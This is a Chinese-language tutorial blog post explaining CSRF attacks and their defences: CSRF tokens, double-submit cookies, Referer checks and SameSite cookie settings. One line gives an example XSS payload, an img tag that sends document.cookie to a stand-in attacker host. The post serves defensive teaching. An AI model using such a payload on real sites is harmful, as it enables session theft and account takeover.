CSRF攻擊與防禦

更新於 2024/10/22閱讀時間約 12 分鐘
CSRF全名為 Cross Site Request Forgery( 跨站請求偽造)。
現在的網站大多是用cookie/session的方式來做登入驗證,我們都知道只要user登入成功後,server會在response header 夾帶 session id給瀏覽器,設定在cookie中,之後每次的request都會自動在request header中帶上這個cookie,server只認session id,因此user不用重複登入。
也因為這個特性,只要駭客拿到你存在cookie中的session id,他就可以從他的惡意網站發送request到你這個網站,header中放入偷來的cookie,就可以偽造成是你發送的request。

另一種方式是,駭客不需要拿到你的session id,但是可以讓你自己去觸發這個攻擊。 什麼意思呢?

假如你這個網站session還沒失效(還是登入狀態),不小心逛到駭客的惡意網站,偷發request到你這個網站,由於瀏覽器自動夾帶session cookie,而導致網站誤以為是登入中的user做的動作。
如果只是刪除你寫的文章那可能還好,但如果是銀行系統呢? 把你的錢都轉光,那事情可就大條啦!

至於駭客有哪些攻擊方式呢?
(1) XSS攻擊 + 透過js存取cookie
如之前提到的,利用XSS搭配js的document.cookie語法,把cookie傳到駭客的server,類似這樣:<img src="http://hack.com/hack.php?msg=document.cookie"/>
這就是一種做法。
駭客再把cookie帶在header中送request到你的網站來做攻擊。

所以session id的cookie要記得設定HttpOnly,讓駭客無法透過javascript(document.cookie)拿到session id。
(2) XSS攻擊 + 瀏覽器自動跨域傳送cookie
這邊先稍微提一下,瀏覽器可能在某些情況下,允許cross domain帶上cookie,例如chrome預設samesite是Lax,是比較寬鬆的rule,get request會自動跨域送出cookie,例如html的a tag。(關於chrome samesite設定,後面還會有詳細介紹)

舉例而言,假如有一個你常常在用的購物網站,這邊所謂的跨域是指從其他外部網站連到這個購物網站的意思,也就是從其他domain連過來購物網站,瀏覽器會自動帶上購物網站的cookies。並不是說從這個購物網站連到其他網站,會把這個購物網站的cookies送到其他網站,這邊不要搞混囉!

駭客可以透過XSS在你這個網站植入一個惡意連結,甚至是看不到的隱藏圖片,一旦你誤擊這個惡意連結,就會連到駭客的網站,駭客網站透過瀏覽器發出request到你這個網站,假如你沒有登出,加上網站防禦機制沒有處理好,就有可能被攻擊成功。
以下以程式碼來模擬這樣的情況:
假設這是你的網站,其中click me是被駭客XSS的惡意連結,可以看到session cookie設定上去了:
接著按下click me會導到駭客網站去,如上程式碼,該網站又導回原本的網站,可以發現request header中包含了session cookie:
上面程式碼只是簡單表達,cookie是會跨域傳送的,駭客也是針對這個特性做攻擊的,試想假如你的網站有個get service,可能是http://127.0.0.1/deleteArticle?id=1 類似這樣的url,駭客就可以打這個service來做攻擊,因為cookie會被帶上,網站判斷是登入狀態,文章就被刪除了。

現在知道危險性了嗎? 你可能會想說,那我把service改成post不就好了? 是的,在cookie samesite=Lax的情況下,post request cookie無法跨域。但是! 如果駭客是在同域攻擊呢?
舉例來說,例如你的網站有上傳檔案的功能,駭客偷偷上傳惡意程式碼,因此這個程式碼是在你的網站,駭客的惡意網站程式從不同域變成同域,所以就算改成post也並非一定安全。
(3) Note:
以上介紹的攻擊手法,並不是說一定要XSS才能做CSRF攻擊,而是搭配XSS可以更容易做到,CSRF本身是可以獨立做攻擊的,因為CSRF是利用偽造成是user的方式來達到攻擊的目的,不需要真的拿到cookies資訊。

假如你的網站沒有XSS風險,user若是誤擊駭客的惡意網站連結,還是有可能被CSRF攻擊,因此並不是說不會被XSS就沒事。

那麼該如何防禦CSRF攻擊呢?
1. Server檢查request來源
如上述所說的例子,既然是從駭客的惡意網站來的request,那只要不是本網站允許的request就全擋掉就好啦?

是的,server端可以透過request header中的Referer欄位,來判斷這個request是從哪邊來的,判斷到不允許的domain直接擋掉。但是如果駭客很厲害,可以偽造成是網站的domain,那這個方法就無效了。
BTW: 你可能會問為什麼不用Origin來判斷,因為在某些情況下,可能不會有這個欄位,如IE 11 不會在跨站request帶上Origin。
2. 使用CSRF Token

在撇開XSS的情況下,CSRF攻擊之所以可以成功,並不是因為駭客獲取你的cookie資訊,而是偽裝成是你。

因此,我們可以要求每次的request都必須帶上密碼,用來區分到底是不是正常的請求,因為駭客不知道這個密碼,所以駭客的request就會被擋住,這個密碼我們一般稱為CSRF Token。
CSRF token是由server產生的並儲存在session中,user登入成功後在session設定一組隨機產生的csrf token,並把這個token回傳給前端,前端每次送request都要帶上token,由server來比對是否跟儲存在session中的token是一樣的。
如果是表單,一般會用input hidden來藏token,ajax的話一般會帶在header。

還記得XSS攻擊那篇嗎? 駭客都可以把cookie傳到他那邊了,因此也有可能把CSRF token偷走,畢竟是藏在前端,假如駭客知道網站把token藏在哪,透過js還是可以把token送到它的server。
也就是說,如果網站有XSS風險,這個方法就無效了。
3. Double Submit Cookie
類似上面提到的,也是由server產生csrf token,但是不儲存在session,儲存在cookie,一樣把csrf token藏在前端,每次request由後端比對與cookie中儲存的csrf token是否一樣。
撇開XSS不講,這個防禦方法正是利用駭客無法取得跨域cookies的特點。
由於csrf token儲存在cookie中,即使在cookie samesite=Lax的設定下,get request 瀏覽器雖然會自動送出cookies,但由於駭客不知道cookie中的csrf token value,所以就算在前端form或ajax header中隨便帶一組token,也一定會比對不成功。
但是假如網站被XSS攻擊的話,駭客可以偷偷修改cookies,把csrf token改成他設定的,那就會被攻擊成功了。
另外有一種情況,假如你的網站是前端是www.sample.com,後端是api.sample.com,前端向後端發出post request,需要送出cookie中的csrf token,表單用input hidden,ajax放在header。
但由於前後端domain不一樣,前端拿不到cookie,如下程式碼範例:
後端先設定一個cookie上去:
接著執行前端網站:
可以發現從前端根本拿不到cookies,原因是cookie設定的domain與path的限制,只有api.sample.com拿的到。
因此為了達到雙重cookie驗證的目的,必須想辦法讓前端可以讀取cookies:
一樣先執行後端,讓cookie設定上去:
接著就可以看到,前端可以拿到token了!
因此可以發現,為了使用雙重cookie驗證,讓前端可以讀取cookie,必須把cookie domain設為sample.com,因此所有的sub domain就都可以讀取了。
問題也就來了,萬一你的子網域網站有XSS漏洞,例如可能還有video.sample.com, music.sample.com等等網站,被駭客XSS,駭客是可以修改cookie的,把csrf token改成它的,那就被攻擊成功了。
因此,這個方法沒有被廣泛使用,因為其實沒有比上述的把csrf token存在server還安全,畢竟cookie是有可能被修改的。
4. 限制瀏覽器cookie跨域傳送

CSRF攻擊其實就是基於瀏覽器跨域傳送cookie的特性,來達到攻擊的目的。
所以只要我們讓瀏覽器不要跨域傳送cookie,就會安全許多啦! (當然如果你的網站被XSS變成同域,那就另當別論了。)

現在新版的瀏覽器漸漸開始支援cookie的samesite設定了,透過Cookie SameSite屬性的設定,可以控制cookie是否能跨域傳送。

Chrome 80 之後的 Cookie SameSite屬性設定有三種(預設為 Lax):
  • Strict => 最嚴格,只有domain完全一樣才能發送。
  • Lax => 較寬鬆,例如<a>, <link rel="prerender">, <form method="GET"> 這些get request都可以跨域帶上cookie。
  • None => 一定要多設定Secure屬性,才能允許跨網域發送,且需要HTTPS。
缺點: 目前並非所有的瀏覽器都支持 SameSite 的功能。
可參考: https://caniuse.com/same-site-cookie-attribute

至於為什麼會設計一個Lax出來呢? 我想應該是因為要避免降低使用者體驗吧,例如你有登入過A網站了,但是你關掉A網站先去逛別的網站,之後又點了A網站連結想回來逛逛,如果沒傳送cookie就會被要求重新登入,對user來講是很麻煩的!

結論:

CSRF攻擊的防禦並不是只要針對CSRF做防禦而已,如上述提到的,駭客可能搭配XSS來做攻擊,因此確保網站能夠防禦XSS跟CSRF才是最安全的。
本文章提到許多防禦CSRF攻擊的方法,設定samesite cookie 屬性雖然可以從源頭解決問題,但目前並非所有瀏覽器都有支援,因此最好搭配本文提到的其他防禦方法,才是最安全的。
即將進入廣告,捲動後可繼續閱讀
為什麼會看到廣告
avatar-img
21會員
161內容數
留言0
查看全部
avatar-img
發表第一個留言支持創作者!
Vic Lin的沙龍 的其他內容
1. 設定cookie為HttpOnly 在一般的情況下,cookie是可以透過javascript來存取的(document.cookie),如同上一篇所說的,有可能會有XSS攻擊的風險。 將cookie設定為HttpOnly,表示這個cookie無法透過js存取。
Cross-Site Scripting簡稱XSS,它指的是駭客在網頁裡插入惡意程式碼,當其他user瀏覽該網頁時,惡意網頁程式碼就會被執行。
Connection Pool中文為連線池,是位於DB前面的緩衝區。 假如我們只是要一個簡單的query功能,下了一個簡單的查詢SQL,可是卻花了很多時間執行,而且每次都要花這麼多時間,這樣豈不是很浪費嗎? 然而,花時間的地方可能不是你SQL效能的問題,而是你沒使用connection pool。
以瀏覽www.google.com為例,瀏覽器需先找到www.google.com對應的ip地址,才能得到網頁資料,顯示在瀏覽器中。 那要如何才能找到ip呢? 這邊就要提到DNS(Domain Name System),他是一個資料庫,裡面紀錄了域名跟IP的對應,瀏覽器透過DNS可以找到IP。
結構化資料: 事先定義好每個欄位可以存放什麼資料,這種儲存的資料就是結構化資料。 像是關聯式資料庫中的資料,需要先把table欄位定義好,之後才能儲存資料。 半結構化資料: 無需事先定義好資料欄位,每一筆資料能夠根據需求儲存不同的欄位,因此很有彈性,如JSON, XML等等。 非結構化資料: 未整理
OAuth 2.0 是一個開放標準,允許user授權第三方應用存取該user的私有資料,而無需提供帳密資料給第三方應用。
1. 設定cookie為HttpOnly 在一般的情況下,cookie是可以透過javascript來存取的(document.cookie),如同上一篇所說的,有可能會有XSS攻擊的風險。 將cookie設定為HttpOnly,表示這個cookie無法透過js存取。
Cross-Site Scripting簡稱XSS,它指的是駭客在網頁裡插入惡意程式碼,當其他user瀏覽該網頁時,惡意網頁程式碼就會被執行。
Connection Pool中文為連線池,是位於DB前面的緩衝區。 假如我們只是要一個簡單的query功能,下了一個簡單的查詢SQL,可是卻花了很多時間執行,而且每次都要花這麼多時間,這樣豈不是很浪費嗎? 然而,花時間的地方可能不是你SQL效能的問題,而是你沒使用connection pool。
以瀏覽www.google.com為例,瀏覽器需先找到www.google.com對應的ip地址,才能得到網頁資料,顯示在瀏覽器中。 那要如何才能找到ip呢? 這邊就要提到DNS(Domain Name System),他是一個資料庫,裡面紀錄了域名跟IP的對應,瀏覽器透過DNS可以找到IP。
結構化資料: 事先定義好每個欄位可以存放什麼資料,這種儲存的資料就是結構化資料。 像是關聯式資料庫中的資料,需要先把table欄位定義好,之後才能儲存資料。 半結構化資料: 無需事先定義好資料欄位,每一筆資料能夠根據需求儲存不同的欄位,因此很有彈性,如JSON, XML等等。 非結構化資料: 未整理
OAuth 2.0 是一個開放標準,允許user授權第三方應用存取該user的私有資料,而無需提供帳密資料給第三方應用。
你可能也想看
Google News 追蹤
Thumbnail
*合作聲明與警語: 本文係由國泰世華銀行邀稿。 證券服務係由國泰世華銀行辦理共同行銷證券經紀開戶業務,定期定額(股)服務由國泰綜合證券提供。   剛出社會的時候,很常在各種 Podcast 或 YouTube 甚至是在朋友間聊天,都會聽到各種市場動態、理財話題,像是:聯準會降息或是近期哪些科
Thumbnail
舉凡在這期間(10/10以前)加入的同學,新手及收費以5000為主,一路到明年漲價前都適用。高手級方案只要有至於快速學習者,建議此方案,10000-11000元學費可以一起討論,天數也是。最後,大師級方案,定價20000,給予的天數最多到120天。 快點,放假就來思考要不要加入未來的交易大行情吧!
在現今數位化的時代,網路攻擊頻率持續上升,其中又以DDoS攻擊最為常見且具破壞性。面對這種威脅,企業如何保護自身的網路資源成為了一大挑戰。CDN(內容傳遞網絡)作為一種有效的防禦工具,不僅能提升網站的性能與用戶體驗,還能大幅降低DDoS攻擊的風險。
在數位化日益深入的今天,駭客網路攻擊成為了各種組織和個人面臨的嚴重挑戰。本文將探討駭客網路攻擊的種類、影響及其防範策略,幫助讀者更好地理解和應對這一重要的安全問題。 什麼是駭客網路攻擊? 駭客網路攻擊是指未經授權的個人或組織通過技術手段,針對計算機系統、網路基礎設施或數據進行的攻擊行為。攻擊者可
本篇文章分享了來自股癌 Podcast 中的投資見解與想法,重點討論了研華公司的參訪和未來展望,以及特斯拉在中國市場的動態和前景。作者提出了對工業電腦市場和特斯拉的投資見解,並分享了對企業投資的一些思考。
Thumbnail
​ 台灣第一大縣市新北市轄內有二十九個行政區、幾乎每個行政區都有該行政區體育園區。小編之前介紹過土城體育園區、泰山體育園區、新莊體育園區。這篇接續來介紹樹林體育園區。 樹林體育園區相關資訊:: ​地址: 新北市樹林區水源街81號 ​開放時間: AM6:00-PM22:00 ​電話:
Thumbnail
2023/09/14-16國際航太暨國防工業展。我的參觀範圍主要為國防館的空軍,以及模擬飛行相關區域。本文為觀展紀錄、空軍知識以及體驗分享。展場包含國防工業設備與技術、航太工業設備與技術、工具機與其他加工設備、太空科技產業、航太扣件、軍規部品及訓練用具、無人系統、載具及智慧應用產品、玩具槍產業。
Thumbnail
企業經營者(董事、高階幹部)持有自家股權、買進庫藏股等,都是對所屬公司抱持絕佳信心的最好證明,ABVC公司日前宣布Patil博士為新任CEO,其具備學界、業界及金融界的實務經驗,將可帶領公司再創新猷;上任不久,Patil博士再宣布將放棄固定薪資,採持有股權方式,與公司共享經營成果,激勵投資人放心支持
Thumbnail
*合作聲明與警語: 本文係由國泰世華銀行邀稿。 證券服務係由國泰世華銀行辦理共同行銷證券經紀開戶業務,定期定額(股)服務由國泰綜合證券提供。   剛出社會的時候,很常在各種 Podcast 或 YouTube 甚至是在朋友間聊天,都會聽到各種市場動態、理財話題,像是:聯準會降息或是近期哪些科
Thumbnail
舉凡在這期間(10/10以前)加入的同學,新手及收費以5000為主,一路到明年漲價前都適用。高手級方案只要有至於快速學習者,建議此方案,10000-11000元學費可以一起討論,天數也是。最後,大師級方案,定價20000,給予的天數最多到120天。 快點,放假就來思考要不要加入未來的交易大行情吧!
在現今數位化的時代,網路攻擊頻率持續上升,其中又以DDoS攻擊最為常見且具破壞性。面對這種威脅,企業如何保護自身的網路資源成為了一大挑戰。CDN(內容傳遞網絡)作為一種有效的防禦工具,不僅能提升網站的性能與用戶體驗,還能大幅降低DDoS攻擊的風險。
在數位化日益深入的今天,駭客網路攻擊成為了各種組織和個人面臨的嚴重挑戰。本文將探討駭客網路攻擊的種類、影響及其防範策略,幫助讀者更好地理解和應對這一重要的安全問題。 什麼是駭客網路攻擊? 駭客網路攻擊是指未經授權的個人或組織通過技術手段,針對計算機系統、網路基礎設施或數據進行的攻擊行為。攻擊者可
本篇文章分享了來自股癌 Podcast 中的投資見解與想法,重點討論了研華公司的參訪和未來展望,以及特斯拉在中國市場的動態和前景。作者提出了對工業電腦市場和特斯拉的投資見解,並分享了對企業投資的一些思考。
Thumbnail
​ 台灣第一大縣市新北市轄內有二十九個行政區、幾乎每個行政區都有該行政區體育園區。小編之前介紹過土城體育園區、泰山體育園區、新莊體育園區。這篇接續來介紹樹林體育園區。 樹林體育園區相關資訊:: ​地址: 新北市樹林區水源街81號 ​開放時間: AM6:00-PM22:00 ​電話:
Thumbnail
2023/09/14-16國際航太暨國防工業展。我的參觀範圍主要為國防館的空軍,以及模擬飛行相關區域。本文為觀展紀錄、空軍知識以及體驗分享。展場包含國防工業設備與技術、航太工業設備與技術、工具機與其他加工設備、太空科技產業、航太扣件、軍規部品及訓練用具、無人系統、載具及智慧應用產品、玩具槍產業。
Thumbnail
企業經營者(董事、高階幹部)持有自家股權、買進庫藏股等,都是對所屬公司抱持絕佳信心的最好證明,ABVC公司日前宣布Patil博士為新任CEO,其具備學界、業界及金融界的實務經驗,將可帶領公司再創新猷;上任不久,Patil博士再宣布將放棄固定薪資,採持有股權方式,與公司共享經營成果,激勵投資人放心支持